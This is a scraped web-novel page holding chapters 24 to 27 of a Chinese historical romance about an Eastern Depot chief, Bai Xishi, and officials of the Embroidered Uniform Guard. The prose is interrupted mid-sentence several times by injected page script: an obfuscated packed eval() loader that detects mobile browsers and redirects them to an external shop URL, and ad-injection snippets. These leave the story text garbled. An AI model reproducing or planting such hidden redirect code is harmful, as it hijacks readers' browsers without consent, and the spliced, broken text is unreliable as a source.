冯有程与白惜时有过几面之交,他身材魁梧,偏生长了一副憨厚的模样,此时见着白惜时站定,立刻起身抱拳行礼,“锦衣卫副指挥使冯有程,见过厂督。” 嗯,还挺有礼貌。 白惜时对他印象不错,点了点头,“在酒楼无需如此见外,滕烈不在,现下锦衣卫的事务都由你代管?” “是。”冯有程声音洪亮,“不过许多事情思虑不周,在指挥使正式回来前,还请厂督多赐教指点。” 瞧瞧,这才是白惜时心目中锦衣卫该有的样子,识趣,配合! “嗯,我看一直你管也挺好。” 白惜时拍了拍对方的肩膀,颇有几分赏识地打趣道:“瞧着比之前那位顺眼多了。” 冯有程以往没什么机会与白惜时说话,此刻被厂督一夸,便憨笑着摸了摸脑袋,只觉得厂督并没有传言中的那般难相处。 一抬头,冯有程正待跟着白惜时一起落座,然而当望见屏风后又绕进来的两人,笑容立即僵在脸上,脸色也刹那间变了变。 “指……指挥使。” 俞昂与白惜时听到声音,亦同步回头,这时候只见蒋寅推了辆轮椅慢慢走了进来。 而轮椅之上所坐之人,不是旁人,正是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13382122|139635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白惜时方才无意提及的滕烈。 “指挥使!”俞昂看到来人显然很惊喜,“没想到你也来了,什么时候回京的?” 俞昂就是叫人送了份帖子去北镇抚司,没想到冯有程来了,滕烈竟也会赏脸光临。 “刚回。”滕烈抬眼扫过室内众人,难得愿意开口解释,“蒋寅将俞总领的帖子递来,时间正好,我便顺路过来了。” “那感情好,求之不得求之不得。来来来,大家快落座落座。” 东厂厂督,锦衣卫指挥使、副指挥使的同时到场,无异于给足了俞昂脸面,俞昂兴高采烈,招呼着剩余之人入席。 期间为了显示他与白惜时私交甚密,俞昂还一度将胳膊搭在了白惜时的肩膀上,意图揽着对方与他坐在一处。 冷眼瞧着肩膀上多出来的几根手指,白惜时不动声色拨了下去。继而以方便观赏歌舞为由,换了个方向,与解衍一起改为坐在冯有程、滕烈一侧。 今日巧合,若是时机合适,或许也可与滕烈谈一谈后续合作之事。 思及此,白惜时越过两人之间的冯有程,看了眼端坐于轮椅之上的男子,都说伤筋动骨一百天,他这明显还没好全乎。 白惜时其实不大理解,“刚回京就有功夫来吃饭,指挥使好雅兴。” 滕烈闻言,一副笑意不达眼底的模样,“不来,怎能听到厂督对我的评价?” “不知在下哪处生的不妥,有碍厂督观瞻?” 声线莫名凉薄,滕烈冷着一副眉眼,同样越过冯有程,半明半暗朝白惜时望了过来。 白惜时、冯有程:“……” ……他都听到了。 不过白惜时有时候也挺搞不懂滕烈,自己的救命之恩他只字不提,背后讲他几句坏话,哦,他倒全记住了。 白惜时本欲与他好好说话,然进来到现在,男子连个比旁人好些的脸色都没给过自己这位大恩人。 单凭这一点,他就不如冯有程顺眼,多简单的道理! 见他宛如吃多了冰碴子,一副拒人于千里之外模样,白惜时跋扈惯了,自然也不打算惯着,索性侧过头去认真欣赏了一遍冯有程,继而探出身去,向滕烈那边靠了靠。 然后再煞有介事向滕烈招招手,示意他凑近些。 滕烈不动,侧目观望。 白惜时不厌其烦,又招了招。 微皱锁目,男子迟疑片刻,笔直的上半身终是几不可查的向前倾了半寸。 “不够喜庆。”白惜时低声道。 “?”滕烈难得露出两分茫然。 “我说,长得不够喜庆。”白惜时做出一副无奈状,“指挥使可能不知道,不管男子女子,咱家都喜欢那种喜庆圆脸好说话的,不过很遗憾,指挥使长得……恰好都不在咱家的审美上。” 所以不顺眼,听懂了?! 最后一句虽然没说,但眼神已经将未尽之语传递过去,不再去管男子的神色反应,白惜时收回前倾的身体,矜冷阴慢、端坐如初。 说完只觉通体舒畅。 继而接过解衍递过来盛满鲜汤的瓷碗,她低头,细细品了一口。 唔~好汤! 24. 第 24 章 白惜时不喜酒局,与在场同僚寒暄了几轮后,便改为专心吃饭,期间若是有人来敬酒,白惜时尚未言语,便有解衍起身,将那些人都挡了回去。 眼见着男子仰头,又一杯白酒下肚,重新坐下后亦脸不红心不跳,白惜时说不惊讶那是假的。 看不出来,还挺能喝的。 俞昂邀请的其他官员,大多看在贵妃的面子上唯俞昂马首是瞻,而白惜时、滕烈都算是邀请的贵客,俞昂尚且敬畏三分,其他人自然不敢多加造次。 因而见解衍替白惜时挡酒,大家便也都默认了,至少表面上对解衍算得上尊敬,无人置喙。 至于私下里如何看待解衍,那便又是另外一回事。 不过解衍似乎已然很适应自己的新身份,应酬挡酒之余,余光瞥见白惜时的杯盘空了,又换了副干净的碗筷盛了碗三鲜豆腐羹,极其自然的将当中的葱花撇掉,给白惜时推了过去。 …… 还真是,面面俱到啊。 白惜时现在想想,解衍平常在府中似乎也是这般,但那时候不觉得,这会才发现探花郎的细致周全。 “不想喝不用勉强,量力而行。” 觥筹交错间,白惜时提醒解衍。 “无碍。” 白惜时侧目,“你嗜酒?” 解衍摇头。 “那为何……” 平日她其实没见过解衍喝酒。 “之前在解府长辈要求,饮酒也是一门官场学问。” 解衍说得轻松,白惜时亦很快想明白其中缘由。 解衍没有亲生父母,解家长辈发现他是个可塑之才,自然只想将他培养得面面俱到,酒桌文化也是其中一环,但无人会关心他喝酒会难受,喝酒亦会伤身。 人非草木,眼见新一轮敬酒又要开始,白惜时伸出食指,压住解衍本预重新拿起的酒座,“应付完一轮便罢了,不必为了不相干之人为难自己。” 然而出乎意料,解衍这次竟没听白惜时的,仍将酒杯捏在手中。 男子面上带了些笑意,微微侧头与白惜时低语,“这些人未必能成事,却极可能坏事,不来则罢,既来了便把该有的面子功夫做足,厂督随心所欲即可,维系关系的事交由我。” 说罢顺势起身,解衍不卑不亢已与来者再次对饮,转瞬便又是一杯烈酒下肚。 解衍方才那番话,白惜时想,不论是谁,应该都会很乐意有一个这样的下属。 自己一直说他年纪轻,今日才发觉,他可能比自己想象的要成熟许多。 毕竟是世家大族从小寄予厚望之人,解衍,本该大有可为。 不过若是能够顺利度过这场变故和历练,解衍应该也会越发沉稳自持,未来亦会走得更高更远。 白惜时正兀自走着神,这时候酒楼内悠扬的古琴声一停,片刻之后,欢快活泼的鼓点环绕楼宇,冯有程好奇向下望了一眼,这一眼眸子便亮了几分,立刻转头热情与白惜时汇报。 “厂督您瞧,领舞的是个圆脸盘美人。” 白惜时金屋藏娇的事冯有程亦有所耳闻,加之白惜时方才又说明了喜欢圆脸喜庆的,那么楼下这位便怎么看怎么合适。 白惜时:“……” 她不过就是随口一说,噎一噎滕烈,冯有程能否不要如此实诚,什么话都当真? 但白惜时吃饱了,左右闲来无事,便在冯有程殷切的目光中从凭栏处望了下去…… 唔~不过这领舞的姑娘模样确实甜美,圆圆的脸上笑起来两个明晃晃的酒窝,顾盼生姿、灵动轻盈,舞姿也娴熟曼妙。 欣赏美人从来与性别无关,白惜时即便是女子,也同望喜欢会自己发光发热的姑娘,何况乎相较于雅室内推杯换盏的男子,她确实更愿意用歌舞来陶冶陶冶情操。 因而这一看,白惜时便看了下去。 二楼最大的这间雅室,能入内的向来都是非富即贵,舞娘们也都会不经意关注此间的动向,这时候便见两个男子同时从凭栏处望下来,一个英武憨实,一个俊美阴柔,年轻的小娘子们似乎都更喜欢漂亮的男子,因而跳着跳着,便都会冲白惜时扬起笑脸。 其中,也包括那位领舞的姑娘。 冯有程将一切尽收眼底,乐呵呵与白惜时分享,“厂督,是不是笑到了您的心坎里?” 笑意是能感染人的,虽然白惜时不知道等她们知道自己是个内宦,还能不能笑得出来。但此刻,她确实是微微弯起了眼角。 美好的事物和人都令人愉悦。 直到一舞终了,白惜时才收回目光,但这一收,却发现四周气氛又有略微的不同,众人的注意点,好像有意无意都放在了自己身上。 比方说俞昂看着她,笑得一脸揶揄。 滕烈……耷拉着眼皮淡淡扫了自己一眼,蒋寅一副不理解但尊重的古怪表情,至于解衍,似乎没什么不同,就是喝酒的速度慢下来一些。 白惜时见此情状只觉莫名其妙,她看个歌舞碍着这些人什么事了? 酒过三巡,地龙越烧越旺,酒水菜肴的味道亦被烘托的更加浓郁,白惜时坐久了觉得憋闷,便起身出去透气。 俞昂见她离席,挥手召来伺候的小侍,在他耳边低语了几句。小侍听完点头应是,很快走了出去。 白惜时所在的这间酒楼临湖而建,因而雅室的对面便是两扇大的漆木窗,推开虚掩着的窗扉,寒风呼呼便钻了进来,瞬间叫人提神醒脑。 额角的发丝被风扬起,白惜时正散着地龙带来的热气,这时候只听身后一个婉转的声音传来。 “公子,当心着凉。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13396901|139635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白惜时一回头,发现竟是方才那位领舞的姑娘。 见白惜时朝自己望了过来,女子嫣然一笑,“奴家画缇,见过公子。” 画缇……好名字。 白惜时关上窗,转过身来,“姑娘找我,可有何事?” 听见白惜时如此说,画缇明显怔愣了一下,继而脸上浮现出一丝丝疑惑的表情,难道不是眼前公子唤她过来的吗? 方才店家找到她,分明是说楼上的贵人指名要她伺候的呀。 宫中历练久了,察言观色亦是一绝,白惜时此刻见姑娘如此模样,心下了然,“有人说我要见你?” “是,还吩咐奴家需小心伺候公子。” 联想到俞昂那揶揄的笑,知晓十之八.九又是他的主意。白惜时不喜俞昂,却不会将情绪连带到一个姑娘身上,因而只道“不必。” 画缇有些意外,先前跳舞的时候,公子分明一直在看她,也对着她笑,她还以为,还以为…… “姑娘舞跳得很不错,方才倒是忘了彩头,这回正好补上。” 白惜时也是出来后听人议论才知道,原来这酒楼还有彩头一说,若是喜欢个中演绎,是可以送礼的。 眼下人已经站在面前,总不好太拂了人家的面子。 当面送金银显得太俗,白惜时今日身着一身常服,遂看了眼周身,于食指上取下一枚宽口的白玉银戒,递了过去。 然画缇看看白惜时,又看看那枚银戒,并没有立刻去接。 知晓她应是不好意思,白惜时不欲多耽误功夫,索性托起女子的手腕,直接将那枚戒指塞进了她的手里。 本来一切都很正常,画缇得了戒指也已转身要走,然而方才白惜时因为注意力都放在女子身上,并未发现后头有人,此刻画缇离开,她才眯了眯眼,竟发现不远处的后头竟杵着三樽大佛。 ——蒋寅、滕烈、解衍。 画缇此时也见到了三人,一下子脚步都顿住了,似是头一回见到这么多俊逸公子,呆愣了片刻后,捧着那枚白玉戒又回头看了眼白惜时,最后目光在滕烈与解衍之间打了个转。 但盯着人看久了多少无礼,尤其还是二楼的贵客,画缇最后还是一步三回头地走了。 白惜时其实也想不清楚,解衍跟滕烈、蒋寅怎么能凑到一处去? 遂走过去,“为何一起出来?有事?” 蒋寅,“……没事。” 白惜时离席后,俞昂便立即召了小厮耳语吩咐,看起来总有几分不妥。他们和解衍不是约好的,但也都一前一后寻了由头出来。 本意是提醒厂督。 没成想,一出来,就见着厂督往人家姑娘手里塞戒指。 蒋寅此刻才意识到,他们出现在这里,实在是有些……冒昧了。 25. 第 25 章 蒋寅既然说了无事找她,白惜时吹够了冷风,便欲叫上解衍一起回席,这个时候却听蒋寅又叫了一声“厂督”。 停下脚步,白惜时回看着他。 蒋寅瞧上去有些不好意思,“定国公围剿之事……多谢厂督出手相救,之前是属下不懂事多有得罪,还望厂督见谅。” 哦,终于知道道谢了,她还以为锦衣卫都健忘呢。 闻言又瞥了眼滕烈,白惜时没说话,继续等着。 知晓白惜时是什么意思,滕烈坐于轮椅上憋了半晌,终是望着那半开的窗棱,从牙缝中挤出了两个字,“……多谢。” 看起来虽不是那么情愿,但总归是说了句谢,白惜时勉为其难应下,端出副救命恩人的架势,“见谅是见谅不了,不过咱家正好有事欲与二位商议,不知眼下可有空闲?” 此刻,正是个谈合作的好时机。 很快,四人重新寻了一处无人的隔间,两两对面,坐了下来。 确认四周无人偷听,简要将东厂欲与锦衣卫协作共事的想法说了,白惜时正色道: “咱家也没有什么大抱负,不敢说辅佐明君,为万世开太平,但总归是在任期间,想要这朝堂世道再清明些,至少不会去走那下坡路。如此也需要东厂与锦衣卫齐心协力。” 说完白惜时望向对面的滕烈,“不知指挥使意下如何?” 滕烈听完,手指下意识转动着一枚青玉扳指,“厂督应该知道,圣上并不期望厂卫走得太近。” 白惜时颔首,赞同滕烈所说,“私交确实不用太密,目标一致、差事办得漂亮即可。大家也都明了,你我脾性犯冲,咱家私下也不希望与指挥使有过多来往。” 闻言,那只转动的扳指莫名停了下来,滕烈隔了好半天没有接话,面上……也瞧不出是喜是怒。 白惜时不明白他还有何顾虑,“我知秉笔、西厂都有拉拢指挥使之意,但秉笔梁年热衷踩着他人向上爬,袁庆又常以莫须有的罪名要挟朝臣收受贿赂,指挥使公正,相比下来,咱家相信,东厂才是锦衣卫最好的选择。” 更何况咱家还救过你的命啊! 滕烈听到这里,却突兀地问了一句,“这么说来,厂督就没有缺点?” ? 有,当然有,人无完人,白惜时还没有到自恋的程度。 比方说阴阳怪气、尖酸跋扈、睚眦必报……没事的时候,她还喜欢看点热闹听点八卦,但白惜时认为,自己至少还算有一颗良心。 “指挥使若是觉得咱家有什么缺点会妨碍到你我合作,大可以提出来。咱们打开天窗说亮话。” 然而滕烈在听到白惜时此话后,却又改为闭口不言,继续转着那枚扳指,情绪实在让人捉摸不透。 最后还是白惜时一再眼神催促下,他才侧眸,看了蒋寅一眼。 蒋寅:“……” 跟了滕烈这么多年,指挥使一个眼神,他当然就知道是什么意思。但蒋寅觉得指挥使变了,变得精明了,现在得罪厂督的话他不直接说了,他让自己说。 可……蒋寅也不想说啊。 谁说厂督指定骂谁。 白惜时跟着滕烈的目光,同样看向蒋寅,“但说无妨。” 蒋寅吞吞吐吐、含含糊糊,“沉、沉迷……女色。” “什么?” 白惜时微微前倾,甚至怀疑自己所听。 “沉迷女色。” 说都说出口了,蒋寅又看了一眼滕烈,索性破罐破摔,“厂督有大志向,属下钦佩。但厂督看着……又实在像是个会被美色所惑之人,自古因美人误事的先例不在少数,所以,还是会让我等,有所顾虑。” “……” 对着一个太监,他们跟她谈女色? 对面这二人要不是此刻正襟危坐,正容肃色,她都以为他们是在故意挖苦她。 她怎么沉迷女色? 她就算想沉迷,她有那家伙事沉迷吗? 白惜时不过就是觉得生在这个时代的女子不易,大部分优势和话语权都掌握在男子手中,女子从出生到终老事事被束缚限制,因而能善待些便善待些。 谁成想这二位却将自己当成了易被美色所惑之人? 一时间连表情都有些崩坏,白惜时兀自克制了会,改为去看解衍,她指望这个得力下属能为自己辩驳几句,然二人视线一交汇,她才发现解衍竟一副喝多了终于开始上头的模样。 还接连几下晃了晃有些昏沉的脑袋。 …… 看来是指望不上了。 “二位放心,你们沉迷,咱家都不可能沉迷。” 白惜时一字一句,声线沉沉,“二位多虑了!” — 与锦衣卫的合作最终还是达成了。 但回程的路上,白惜时亦没什么愉悦之色,谁能想到她东厂厂督的英明,竟是败在了“女色”之上? 解衍的酒劲似乎仍在慢慢上头,不过这人喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13419145|139635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多了也不多话多事,就静静地靠坐在车厢一侧,一言不发地望着自己。 对,目不转睛地看。 平静的面容上还隐隐藏着几分复杂纠缠。 白惜时被他盯地久了,终是没忍住,抬起眼皮,“有话就说。” 解衍欲言又止。 沉吟了片刻,还是借着酒劲问了出来,“厂督……为何画我?” 画解衍? ! 他看到了? 犹如内心最私密的一块被人窥探,白惜时此刻竟冒出几分尴尬,不过她画的其实并非解衍。 今日休沐,白惜时上午便一个人在书房中整理些案册、折子,继而想到春节临近,魏廷川也快要回京述职,便又把他寄来的那封信拿出来逐字逐句读了一遍。 读完再妥善折好,放回了一个单独的屉子当中。 兴之所至,白惜时索性提笔研墨,画起了魏廷川的画像,但毕竟多年未见,她也不知魏廷川如今有没有变化,作画的时候便多少参考了些解衍的长相。 何况乎二人本来长得就很相像。 这本来是一件很隐秘的事,画完后白惜时便将那纸张晾干折起,夹在了一堆书籍当中。 谁成想下午解衍来书房寻她的时候,白惜时一抽书,恰巧连带着那张画像一起掉落了下来。 本来白惜时以为自己眼疾手快,解衍并没有看清,而且当时男子也确实没有什么异常反应。 却原来,他还是看到了…… 并且,还牢牢记在了心中,趁着眼下半醉的酒劲,才开口问出来。 “画的不是你。” 白惜时想了想,还是决定淡化处之。 但白惜时说完,解衍仍旧盯着她看,就这么默默地盯着,隔了半晌,才妥协似的“嗯”了一声,继而缓然移开视线,男子掀开车窗的帘幔,望了出去。 …… 这模样明显就是不相信,还敷衍自己,现在还在那深沉地望着伸手不见五指的街景。 白惜时背都稍稍坐直了,又解释了一句,“咱家真没画你。” 画的是别人! “嗯。” 解衍闻言,又回过头来看了白惜时一眼,“是属下看错了。” 继而重新望向窗外,男子几不可查地叹了口气。 白惜时:…… 他怎么就不相信呢? 这误会是解不开了是吧? 算了,爱怎么想怎么想吧。 26. 第 26 章 春节前夕,定国公被围困于大昌圩,粮草断绝、自焚而亡,叛党重要将领死伤过半,剩下的一小半被押解回京,经审问,确实为定国公联合御马监王焕全,里应外合起兵造反。 千闵亦去查了那挥刀自刎的东厂侍卫一家,结果无甚特殊。 好像王焕全会趁机撞墙自尽,确实就是一场疏忽和意外。 至此,两位主谋接连丧命,查无可查,历时三个月的平叛之战最终尘埃落定,京城也恢复了以往的平静。 掌印张茂林近来的身体状况更加不好,为了方便照看,白惜时入宫的频次也越发多了起来,很多时候都是宿在宫中。 腊月十五这日,白惜时回了一趟府中,这一回才听孟姑姑提及,解衍即将要及冠。 及冠礼于男子可谓是一件大事,也代表男子正式自立成年。解衍如今既已经没有长辈为他筹备此事,白惜时便让彭管事与孟姑姑一起去操办。 念着毕竟是一生中的大事,白惜时抽空,也为解衍准备了一份生辰礼。 及冠礼那日,府中热热闹闹,没有什么德高望重的长辈在,白惜时便亲自回府为解衍加冠易服,程序化繁为简,但不该少的礼仪规矩也都依次过了一遍。 礼成之后,她取出了一顶玉环白金冠,郑重为弱冠之年的男子戴在了束发之上。 这是白惜时托宫中手艺精湛的匠人按照图纸打造的,不得不承认,戴上这顶金玉冠,越发衬得解衍清贵俊逸、英气逼人。 重要的日子,总要说些祝福之语,白惜时便也没有吝啬善意,笑对着男子道:“凛冬散尽,星河长明。从经往后,愿尔顺遂无虞,所行化坦途,所念皆如愿。” 解衍今日一身锦衣华服、长身玉立,恍然间,仿佛又回到了那日进士及第、打马游街时的意气风发,漆黑的眸子犹如晴日静水,微风一吹,便泛起粼粼浅光。 男子同样回之以微笑,“谢厂督。” 旧事归尽,新元肇启。 解柔云在一旁看得直抹眼角,自入白府以来,她已从日日活得提心吊胆到渐渐适应,甚至,在今日这般融洽温和的氛围下,产生了一直留在这里也不错的念头。 其实,厂督真的挺好的。 不仅没有苛待过她与哥哥,亦会为他们出头,而与那些被发卖至烟花之地的女子相比,解柔云真真无比确幸自己当初的选择。 留下来,留在白府。 除夕夜的前几日,孟姑姑正在赶制香囊,大魏的新年有赠香囊图吉利的习俗。 白惜时从盥室内走出,披散着一瀑半干的青丝回到床边,便看见亮堂堂的烛火下,孟姑姑一针一线,正在香囊上绣着一只于绝壁上攀登的山羊。 今年是羊年,所以孟姑姑给每一个人的香囊上,绣的都是不同形态的羊。 白惜时觉得有趣,凑过去看了一会,继而像是想到什么,突然问道:“姑姑会绣麒麟吗?” “会。厂督是想将你的香囊换成麒麟图样的?” “不是。” 卸下了一身男装和束缚,在这间屋内,在孟姑姑面前,是白惜时最放松的时刻,眼中漾起点点笑意,“我想让姑姑帮我再绣个香囊,送给一个朋友。” 思及此便找来笔墨,白惜时在纸张上慢慢描画出一只威猛的麒麟兽,只不过在这只麒麟的脑袋上,还戴着一顶憨态可掬的绵羊帽子。 白惜时画完观摩了一阵,又提笔修改了几处,满意之后才推至孟姑姑的面前,“就绣成这般形态的,姑姑可以吗?” “这麒麟模样好生新奇,又威风又……有些可爱。”孟姑姑端详了一阵,笑了起来,“应该是可以的,我且试试看吧。” “厂督如此用心,是要送给什么重要的人吗?” 白惜时:“故交。” 魏廷川如今在京城早已没有家人,自然也没人会为他准备香囊,都说新春香囊寄托美好的祝福,那便愿他在战场上犹如这麒麟般战无不胜,所向披靡,也如这绵羊,绵长如意,长乐时祺。 孟姑姑做香囊的速度很快,没过两日,原先那纸上画着的图样便栩栩如生绣制在香囊之上。这日碰见厂督回府,知她一会还要再次出门,不知道又到何时才能回来,孟姑姑便直接趁四周无人,在厅堂内将香囊拿了出来,问厂督可还有需要修改的地方。 白惜时仔细端详了一阵,实在觉得这香囊独特又精致,就是右下角,空了一些。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> “姑姑,能否再在这枚荷包下方绣个字?” “厂督想绣什么字?” “川。”白惜时道。 实在是看出了厂督对那位友人的特殊,孟姑姑点头,“可以是可以,不过我写字不大好看,不如厂督替我先写在香囊上头,然后我照着印子绣上去?” 觉得可行,白惜时便当即挑了最细的一支笔,在香囊上写了起来。 一气呵成、端正清秀,在落下最后一笔的时候,解衍正好阔步走了进来,男子低声禀报,“厂督,一切就绪,可以出发了。” 闻言停笔起身,白惜时将那香囊又交还给了孟姑姑,“就按照这个绣吧。” 可能是那香囊的图样太过新奇,亦或者是颜色惹眼,总归解衍在抬头之际,恰巧看见了孟姑姑将香囊收入袖中,同时也隐约看见了那刚写上去的暗色字体。 虽距离隔的有些远,瞧得亦不是很真切,但还是像极了一个字。 眸光随之一顿,解衍于原地驻足片刻,最后还是孟姑姑的疑问让他恍然回神,继而转身抬步,快速跟上了已经迈出门槛的白惜时。 很多人其实都知道,大魏开国以来最年轻的探花郎,姓解名衍,字淮州。 而那个字,很像“州”。 会是“州”吗? 解衍此前的人生中,难得会有觉得矛盾的时候,但自遇见白惜时以来,这种情绪似乎开始时常光顾他的生活。 想回避,想远离,明知不该,却也会克制不住想要走近。 正如那一枚香囊,他也会控制不住地猜测,厂督亲笔题字,难道是要给他? 在这种情绪的影响下,他甚至没有进一步去求证心中的疑问——厂督古怪的脉象。 男子如何,女子又如何,他为什么会时常挂心在意? 这个答案,解衍不愿深想,甚至刻意忽略,因而便也没有再去探究那脉象的缘由。 不过很快,香囊一事,除夕之夜便给了解衍答案。 他获赠的,是一只绝壁攀登的山羊香囊。 解衍松了一口气的同时,也难以忽略那萦绕上心头的陌生感 ——空荡,空荡荡的坠落感。 27. 第 27 章 镇北将军魏廷川回京,算是春节之后朝堂之内的一件大事。 定国公以谋逆之罪论处,满门抄斩,一时间武将之间人人自危,担忧皇帝对手握兵权的将领都会产生猜疑忌惮。 定国公之事只是个例,亦是对方谋反在先,为了安抚人心,表明态度,皇帝对魏廷川回京之事便尤为重视,吩咐下去隆重操办,意图以实际行动告知这些武将,只要安分守己,戍守家国,天家自会看在眼里,绝不亏待。 因而镇北将军正式回京的那日,声势浩大,街头巷尾挤满了看热闹的百姓,皇帝亦亲临接将台,于高高的楼台之上,迎接打赢胜仗的将士们凯旋。 为确保皇帝安危,这一日,东厂、禁军、锦衣卫悉数出动,白惜时一边观察着四处有无异动,一边又控制不住地往城门的方向张望。 十年了,他终于,又回来了。 金光普照,城门大开。 整齐划一的步伐之声由远及近,紧接着,黑压压的一片队伍荡开拥挤的人群,势如破竹般朝着接将台的方向行进。 骑兵开道,步兵殿后,马蹄铮铮,尘土飞扬。一瞬不瞬地看着那骑在高头大马之上的男子从一个黑点,一寸一寸清晰起来,再到身披玄甲,眉目冷冽,白惜时一颗心随着那行进之声,亦节奏加快地跳动起来。 仿佛过了许久,又仿佛只是须臾之间,大军行至接将台下,继而队伍迅速从中间撕裂开来,一分为二,于中间让出了一条长长的过道。 过道之中,唯有一人端坐骏马之上,缓行于最前方,继而掀袍下马,高声行礼。 “臣魏廷川参见皇上,吾皇万岁万岁万万岁!” 紧接着,身后将士紧随其后,齐声高呼,“吾皇万岁万岁万万岁!” “爱卿平身,众将士平身。” 身姿英挺,仿若青松,魏廷川一步一步走上接将台,也一步步距离白惜时越来越近,一身玄甲裹住男子劲瘦高大的身躯,棱角分明、气势逼人,自有一股临危不惧武将的风骨。 然而就是这样一个人,在与皇帝同行的严肃时刻,路过白惜时的时候,竟突然侧过头来,冲她微一颔首,继而眨了下眼。 ! 垂下身侧的手指蜷了蜷,白惜时尽量用平静的表情掩盖下心底的波澜,下意识看了眼左右,还好,周围并没有其他人。继而整个人也放松了些,一放松,唇角便像有自己的想法一般,浅浅扬起了一个弧度。 这种于众目睽睽之下的小动作,令白惜时觉得欣慰确信,她更加笃定这几年的时光并没有在二人之间产生隔阂,亦没有磨灭掉她与魏廷川之间的默契。 随着众人的步伐,白惜时跟在皇帝与朝臣之后,自以为没有人发现方才之事,然而却不知,已有一个人将一切尽收眼底。 此刻,滕烈不动声色地收回视线。 这二人,相熟? 回到宫中之后,便是宴请群臣的环节,白惜时作为内宦,并不需要参加此等宫宴,锦衣卫亦然,因而进去之后没多久,滕烈便与蒋寅一前一后走了出来。 此刻看见白惜时还未离开,蒋寅过来招呼,“任务已经完成,厂督怎么还站在这里?” 他们此番只负责皇帝在宫外的安危保障,眼下既已回了宫,剩下的便交由禁军即可。 今日的白惜时似乎心情颇佳,说起话来亦和颜悦色,“咱家还要再等一会,你们有事便去忙吧。” 蒋寅:“厂督可需帮忙?” “不用。” 白惜时与蒋寅、滕烈说之际,目光仍时不时会关注汇贤院内的宫宴动态,此刻话音刚落,便见已经卸了战甲的男子,一身玄色锦袍如琼枝一树,一边言笑晏晏与迎上来的官员们打着招呼,一边越过众人走了出来,目光往院外一览,很快便定格在了白惜时的身上。 面上带着久别重逢的笑意,魏廷川阔步而来,气宇轩昂,即便此刻仍有滕烈、蒋寅等人在场,男子亦不避讳与白惜时的相熟。 “许久未见,惜时长大了,也长高了。” 魏廷川站定,打量了片刻眼前之人,继而眉目舒展,不无玩笑道:“不过还是跟小时候一样,在哪都能让人一眼注意到你。” 闻言低了低头,白惜时唇边亦沾染上笑意,“世子说笑了。” “如今不必再叫世子了。” 对于这个旧称,魏廷川已经很长时间没听人提起。往事如过眼云烟,一朝归来,男子似是有许多话想要与这位故友说,然这个时候已有小太监匆匆赶来,催促他快些回席。 眼下,显然不是叙旧的好时机。 明白里头还有一众文臣武将等着,魏廷川长话短说,“我出来是要问你,明日可有空闲?离京这么多年,倒是想念这京都的美食,若是得空,请你吃饭。” “也正有一件事要告知你。” 白惜时没有让他久等,一点头,很快便回了一个“好”字。 “那便这么说定了。” 魏廷川潇洒一笑,利落转身,长腿迈着沉稳的步伐随着小太监回到了今日特意为他举办的这场盛大筵席。 这个人才是真正的走到哪里都会发光吧,看着男子离去的背影,白惜时不无欣慰地想。 …… 出宫的路上,白惜时有些心不在焉。 千闵、蒋寅几人走在后头,蒋寅忍不住去问千闵,“我竟不知,你们厂督竟与镇北将军相识?” 千闵心中正在想着其他事,“……我也不知。” “啧,你这属下怎么当的?” 千闵不服,“谁敢去查厂督的旧事?你们指挥使你敢查吗?” 蒋寅:“……这倒也是。” 听见后头两人议论,滕烈又看了眼几步之遥的白惜时,此刻他虽面色如常,但步伐之轻盈似乎显露出了几分主人此刻的心境。 白惜时与魏廷川,应当不止是相识这么简单。 — 宫门之外,解衍已立于马车旁等候,他眼下仍是待罪之身,并不能自由出入宫廷,便也没有参与上午的保卫任务。 一行人登上马车,又处理了一些日常事务。当天夜里,白惜时回到了府中,办了一天的差事觉得腹中饥饿,她便命人下了两碗面,招呼着解衍坐下同吃。 解衍也觉察出了厂督今日的异样,似乎是……格外的愉悦。 连对待那些案犯,都变得比原先有耐心。 解衍:“厂督是不是遇见了什么喜事?” “没有。” 停下挑起面条的动作,白惜时抬头,“咱家今日看起来有什么不一样?” 这么明显吗? 其实并不太明显,若是不熟悉白惜时之人,自然看不出端倪,但解衍还是从细微之处察觉到了她的情绪变化。 既然她不想提,男子便也不欲再问,一摇头,亦低头开始吃面。 不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 过白惜时此刻望着解衍,很容易又想到另一个人,“哦,对了,我明日晚上有事,你办完差事自行回府即可,不必等我。” 其实以往这种白惜时独来独往的情况亦不少见,但此前她从不会提前告知解衍,都是说走就走。 